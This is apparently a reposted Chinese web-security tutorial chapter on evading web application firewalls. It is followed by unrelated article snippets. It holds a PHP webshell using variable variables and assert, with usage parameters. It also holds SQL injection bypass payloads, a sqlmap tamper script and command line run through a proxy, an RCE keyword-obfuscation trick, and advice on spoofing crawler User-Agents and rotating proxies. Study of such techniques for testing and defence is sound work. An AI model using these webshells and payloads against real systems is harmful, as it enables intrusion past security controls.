《Web安全基础》09. WAF 绕过

news2024/11/20 12:29:56

web

  • 1:基本概念
    • 1.1:DoS & DDos
    • 1.2:CC 攻击
    • 1.3:扫描绕过方式
  • 2:WAF 绕过
    • 2.1:信息收集阶段
    • 2.2:漏洞发现阶段
    • 2.3:权限控制阶段
      • 2.3.1:密码混淆
      • 2.3.2:变量覆盖
      • 2.3.2:异或混淆
    • 2.4:漏洞利用阶段
      • 2.4.1:SQL 注入
      • 2.4.2:文件上传
      • 2.4.3:XSS
      • 2.4.4:RCE


本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。

1:基本概念

1.1:DoS & DDos

DoS(Denial of Service),通过发送大量请求等方式耗尽目标资源,使目标系统服务不可用。由单一攻击者或单一设备发起。

DDoS(Distributed Denial of Service Attack),与 DoS 类似,通过超载目标系统使其服务不可用。DDoS 涉及多个攻击者或僵尸机共同协作来攻击目标。

DoS 与 DDos 攻击的目标主要是系统主机。

1.2:CC 攻击

CC 攻击(Challenge Collapsar),一种特定类型的 DoS 攻击,攻击目标通常是 Web 服务器,如网站或 Web 应用程序。

CC 攻击的目标通常是网站或 Web 应用程序。

1.3:扫描绕过方式

扫描目标如果过快,可能会触发目标防火墙的流量检测拦截。

绕过思路,模拟正常请求的访问习惯:

  • 更改请求方式
    更改请求方式去请求数据。例如:HEAD 方式改为 GET 方式请求数据。

  • 模拟用户请求
    将扫描工具所提交的数据包尽可能的伪装成用户使用浏览器访问所提交的数据包。包括消除工具指纹。

  • 模拟爬虫引擎
    WAF 上有爬虫黑白名单机制。可通过修改 User-Agent 头模拟爬虫。

  • 代理池技术
    使用代理池,通过代理服务器扫描目标。可以实现每次请求更换源 ip,避免拦截。

  • 延时扫描
    降低扫描频率与速度。

2:WAF 绕过

WAF 拦截会出现在安全测试的各个层面,掌握各个层面的分析和绕过技术最为关键。

WAF 绕过层面:

  • 信息收集
  • 漏洞发现
  • 漏洞利用
  • 权限控制

2.1:信息收集阶段

在这里插入图片描述

一个网站目录扫描脚本:

# 搜索引擎爬虫模拟及模拟真实用户
import requests
import time

headers = {
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    # 模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
    # 模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
    # 更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html
    'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider-render/2.0;'
                  ' +http://www.baidu.com/search/spider.html)',
    'Sec-Fetch-Dest': 'document',
    'Accept':
    'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/si'
    'gned-exchange;v=b3;q=0.9',
    'Sec-Fetch-Site': 'none',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-User': '?1',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
    'Cookie': 'xxx',  # 根据当前访问 cookie
}

for paths in open('dict.txt', encoding='utf-8'):
    url = 'http://192.168.0.103:8081/'
    paths = paths.replace('\n', '')
    urls = url + paths

    # 如需测试加代理,或加入代理池需加代理
    proxy = {
        'http': '127.0.0.1:7777'
    }

    try:
        code = requests.get(urls, headers=headers, verify=False).status_code
        print(urls + '|' + str(code))
    except Exception as err:
        print('connecting error')

    # time.sleep(3)  # 模拟用户需延时(请求速度)

写脚本的原因是为了模拟用户真实的访问情况,并且可以对其有充足的控制,现有工具可能会有无法更改的请求内容。

相关资源:

《各大搜索引擎的User-Agent》
https://www.cnblogs.com/iack/p/3557371.html

2.2:漏洞发现阶段

在这里插入图片描述

相关资源:

A simple HTTP Request & Response Service - httpbin
http://httpbin.org

快代理
https://www.kuaidaili.com

proxy_pool
https://github.com/jhao104/proxy_pool

2.3:权限控制阶段

在这里插入图片描述

在权限控制阶段,对于后门代码命令的传输,可采取以下方式绕过 WAF:

  • 密码混淆
  • 变量覆盖
  • 异或混淆

除此以外,因为很多权限工具都被 WAF 识别了相关特征(如菜刀、蚁剑、冰蝎等),导致无法使用控制工具,这时就需要自己写工具。

相关资源:

Behinder
https://github.com/rebeyond/Behinder

AntSword
https://github.com/AntSwordProject/antSword

2.3.1:密码混淆

后门直接调用 system()phpinfo() 等敏感字段时会被 WAF 拦截。在绕过时,就需要配合截断(%00)或者相关密码技术处理。

例如 PHP 中的函数:

  • Base64 编解码
    • base64_encode($data)
    • base64_decode($base64string)
  • URL 编解码
    • urlencode($string)
    • urldecode($string)

2.3.2:变量覆盖

变量覆盖(可变变量),用于通过变量的值来动态命名变量并访问其值。

以 PHP 为例,$$a 是一种特殊的变量语法,用来实现变量覆盖:

$foo = 'bar';
$bar = 'Hello, World!';

// 使用 $$foo 来访问 $bar 的值
// 因为 $foo 的值是 'bar' ,所以 $$foo 实际上等同于 $bar 
// 最终输出 'Hello, World!' 。
echo $$foo;

示例

一个运用此原理的 PHP 后门(设后门文件为 webshell.php):

<?php
    $a = $_GET['x']; 
    $$a = $_GET['y']; 
    $b($_POST['z']); 
?>

利用:

# get 传参:
url + webshell.php?x=b&y=assert  
# 这样赋值后 $a=b, $$a=$b=assert
# 所以变为了 assert($_POST[‘z’]);
# 再通过 post 传递 payload 即可

# post 传参:
z=phpinfo();

2.3.2:异或混淆

异或混淆,基于异或运算(XOR,Exclusive OR)。一种编码技术,通常用于对数据进行保护或混淆,使其难以理解。

相关工具与资源:

PHP 混淆加密脚本
https://github.com/djunny/enphp

在线 PHP 加密
https://phpjiami.com/phpjiami.html

异或加密 Webshell-venom
https://github.com/yzddmr6/as_webshell_venom

2.4:漏洞利用阶段

漏洞利用要注意相关工具扫描利用时绕过防火墙。对于 payload 也需要做绕过。

2.4.1:SQL 注入

手工注入绕过

 - 对敏感字符,使用注释(/**/)绕过
 - %23 代表 #
 - %0A 代表换行符 union %23a%0Aselect 1,2,3;%23 如:

示例:

id=-1%20union %23a%0Aselect 1,2,3;%23 

id=-1/**&id=-1%20 union%20 select%201,2,3%23*/ id=-1%20union/*!44509select*/%201,2,3

# mysql 特性:
# /*!x*/ 代表当 mysql 数据库版本大于 x 时,
# mysql 不再将其当作注释,从而将其运行。

SQLmap 工具绕过

 · 绕过指纹识别

	需要伪装 UA:
	--user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
	或者使用 --random-agent,
	或者修改 sqlmap.conf 文件下的 agent。

 · 通过自写模块绕过敏感字段

	--tamper=xxx.py

 · 使用代理池绕过 CC 防护 

	--proxy=http:/IP:port

模块示例:

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload,**kwargs):
    retVal =""
    if payload:
        payload = payload.replace("union","%23a%0aunion")
        payload = payload.replace("select","/*!4457select*/")
        payload = payload.replace("%20","%23a%0a")
        payload = payload.replace(" ","%23a%0a")
        payload = payload.replace("database()","database%23a%0a()")
    return payload
sqlmap.py -u "http://test.xiaodi8.com/sqlilabs/Less-2/?id=1" --proxy="http:tps123.kdlapi.com:15818" --tamper="waf-dog.py" --random-agent

2.4.2:文件上传

  • 数据溢出
  • 符号变异
  • 分号绕过
  • 换行绕过
  • 重复数据
  • %00 截断
  • 其他特性绕过

2.4.3:XSS

手工 XSS 绕过

  • 标签语法替代
  • 特殊符号干扰
  • 提交方式更改
  • 垃圾数据溢出
  • 加密解密算法
  • 结合其它漏洞绕过

XSStrike 工具绕过

  • 使用延时(--timeout)或者代理池(--proxy)绕过

2.4.4:RCE

 · 编解码绕过 

	base64,url 编码。
	注意:可变变量中传入 base64_decode() 函数可能会被拦截,
	此时就需要采用其他方式。

 · 关键字绕过 

	如 phpinfo();
	可以替换成如下写法:
	$y=str_replace('x','','pxhpxinxfo()');assert($y);

 · 变量覆盖

	参考【2.3.2:变量覆盖】。

得其所利,必虑其所害;乐其所成,必顾其所败。

——《说苑》(两汉)刘向

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1035296.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数量关系(高照)

数量关系&#xff08;内容&#xff09; 先问题&#xff0c;再材料 正向&#xff1a;约分、倍数反向&#xff1a;选项、代入 倍数特性 整除型

CSS 基础 4

(●◡●)target ⇛ 圆角边框 ⇛ 盒子阴影 ⇛ 文字阴影 圆角边框 在CSS3中新增了圆角边框的样式, 这样我们的盒子就可以变成圆角了. 圆角在我们生活中很常见, 例如: ① 我们浏览器的标签 显示就会是一个圆角边框 ② 浏览器的搜索栏 如何设置圆角边框?? 设置属性 border-…

VMware安装CentOS Stream 8以及JDK和Docker

一、下载镜像源 地址&#xff1a;https://developer.aliyun.com/mirror/?spma2c6h.25603864.0.0.285b32d48O2G8Y 二、安装配置 配置项 一共有以下这些&#xff0c;其中软件、软件选择 、安装目的地、网络主机名需要讲一下&#xff0c;其他都简单&#xff0c;自行设置即可。 …

关于DNS

DNS DNS 域名解析系统DNS服务器如何能够承担高并发量? DNS 域名解析系统 上网,想要访问服务器,就需要知道服务器的IP地址,IP地址,是一串数字,虽然这个数字使用点分十进制已经清晰不少了,但是仍然不方便人们记忆和传播,因此,我们就使用单词来代替IP地址,使用baidu,sogou,bilib…

Docker初识

什么是Docker 微服务虽然具备各种各样的优势&#xff0c;但服务的拆分通用给部署带来了很大的麻烦。 分布式系统中&#xff0c;依赖的组件非常多&#xff0c;不同组件之间部署时往往会产生一些冲突。在数百上千台服务中重复部署&#xff0c;环境不一定一致&#xff0c;会遇到…

FPGA——WS2812B彩灯点亮

文章目录 前言一、WS2812B手册分析原理1.1 主要特点1.2 器件图1.3 接口1.4 输入码型1.5 归零码&#xff08;RZ&#xff09;和非归零码(NRZ)&#xff08;拓展&#xff09;1.6 级联输出1.7 输入数据格式 二、FPGA点亮彩灯2.1 代码 三、总结 前言 本篇博客是记录WS2812手册的学习…

基于Docker_Nginx+LVS+Flask+MySQL的高可用Web集群

一.项目介绍 1.拓扑图 2.详细介绍 项目名称&#xff1a;基于Docker_NginxLVSFlaskMySQL的高可用Web集群 项目环境&#xff1a;centos7.9&#xff0c;docker24.0.5&#xff0c;mysql5.7.30&#xff0c;nginx1.25.2,mysqlrouter8.0.21&#xff0c;keepalived 1.3.5&#xff0c;…

Maven官方镜像仓库与阿里云云效Maven

一、Maven官方镜像仓库 download maven-3 右击复制链接地址&#xff0c;使用wget命令直接在linux中下载&#xff1a; wget 链接地址history 二、阿里云云效Maven 详情查看maven 配置指南 打开 maven 的配置文件&#xff08; windows 机器一般在 maven 安装目录的 conf/…

Rt-Thread 移植1--开发环境搭建(KF32)

1.1软件 1.1.1 ChipONKongFu 下载地址 链接: ChipONKongFu 1.1.2 软件包 链接:软件包 1.2 硬件 1.2.1 开发板 1.2.2 烧录器 1.3 软件安装 1.3.1 安装KongFu32 1.4 例程编译 1.4.1找到例程 1.4.2导入例程 如上&#xff0c;编译后发现还是会缺很多东西 添加system_init.c…

9.19~9.20elf论文(浮点数的二进制表示确定擦除尾随0的数量)

小数转二进制 小数部分呈6&#xff0c;2&#xff0c;4&#xff0c;8循环&#xff0c;则二进制序列为1001循环 小数点前的0应该没有任何用&#xff0c;就是表示这是个小数&#xff0c;第一位转化后如果是1&#xff0c;应该是在小数点后的第一位位置 原始小数&#xff08;通过机…

如何看待著名游戏引擎 Unity 宣布将更改收费模式,收取「运行时费用」?这将造成哪些影响?

先下结论&#xff1a;Unity 的高管是不是【不友善内容&#xff0c;请于 24 小时内及时更改】&#xff1f; 简单介绍下这个收费模式&#xff1a;年收入大于 20w 美金且安装量大于 20w 的&#xff0c;每一份额外下载需要给 Unity 交 0.2 刀。 首先&#xff1a;听上去好像不会影响…

有关哈希的概念,哈希表(哈希桶),unordered_map和unordered_set的模拟实现

前言 在C中unordered系列的容器效率很高原因是在底层使用了哈希结构&#xff0c;让我们一起来了解一下哈希相关的知识&#xff0c;并且简单的实现以下哈希思想相关的容器。 目录 1.哈希概念 2.哈希冲突 3.哈希函数 4.哈希冲突解决 4.1闭散列 1.线性探测 2.二次探测 S 4.2…

高效批量剪辑,轻松缩小视频尺寸!一键解决视频文件大小问题!

对于那些喜欢拍摄和分享视频的人来说&#xff0c;视频文件大小往往成为一个头疼的问题。为了让您能够更加方便地处理视频尺寸&#xff0c;我们提供了一项高效的批量剪辑服务&#xff0c;让您能够轻松缩小多个视频的尺寸 首先&#xff0c;我们要进入视频剪辑高手主页面&#xf…

Linux系统如何将新硬盘挂载到Home目录下

Linux系统如果将硬盘挂载到Home目录下 目录 1、对新增磁盘进行分区 2、分区格式化 3、将新硬盘临时挂载在一个目录下

TCP协议和UDP协议

TCP通信原理 TCP&#xff08;Transmission Control Protocol&#xff0c;传输控制协议&#xff09;是一种传输层协议&#xff0c;它主要负责点对点的数据传输TCP 主要特点是面向连接的&#xff0c;也就是说&#xff0c;在数据传输之前&#xff0c;它需要先建立一个连接。连接建…

国产AI网址

【国产AI网址】 讯飞星火&#xff1a;xinghuo.xfyun.cn 文心一言&#xff1a;yiyan.baidu.com 天工AI&#xff1a;search.tiangong.cn 通义千问&#xff1a;qianwen.aliyun.com 有很多国产AI网址可以提供各种功能和应用。以下是其中一些&#xff1a; * 一起用AI&#xff1a;ht…

负载均衡 —— SpringCloud Netflix Ribbon

Ribbon 简介 Ribbon 是 Netfix 客户端的负载均衡器&#xff0c;可对 HTTP 和 TCP 客户端的行为进行控制。为 Ribbon 配置服务提供者地址后&#xff0c;Ribbon 就可以基于某种负载均衡算法自动帮助服务消费者去请求。Ribbon 默认提供了很多负载均衡算法&#xff0c;例如轮询、随…

useCallBack

React.memo 保证了只有props发生变化时&#xff0c;该组件才会重新渲染 &#xff08;当然组件内部的state 和 context 变化也会导致组件重新渲染&#xff09;&#xff0c;但咱们只要将咱们的子组件包裹&#xff0c;便可以保证Child组件在props不变的情况下&#xff0c;不会重新…

一篇聊聊Mybatis插件开发

Mybatis的插件&#xff0c;主要用于在执行sql前后&#xff0c;对sql进行封装加工&#xff0c;或者在sql执行后&#xff0c;对数据进行加工处理。常用于一些公共数据操作处理&#xff0c;例如&#xff1a; 分页插件&#xff0c;在执行sql查询前增加分页参数多租户系统中&#x…

[winerror 5] 拒绝访问。: ‘..\\data‘解决方案

使用Jupyter Notebook学习深度学习时出现错误如下&#xff1a;[winerror 5] 拒绝访问。: ‘…\data’ 解决方法&#xff1a; 打开anaconda3找到对应环境的python.exe 点开属性&#xff0c;点安全&#xff0c;选择如下&#xff1a; 点编辑&#xff0c;选择User&#xff0c;勾…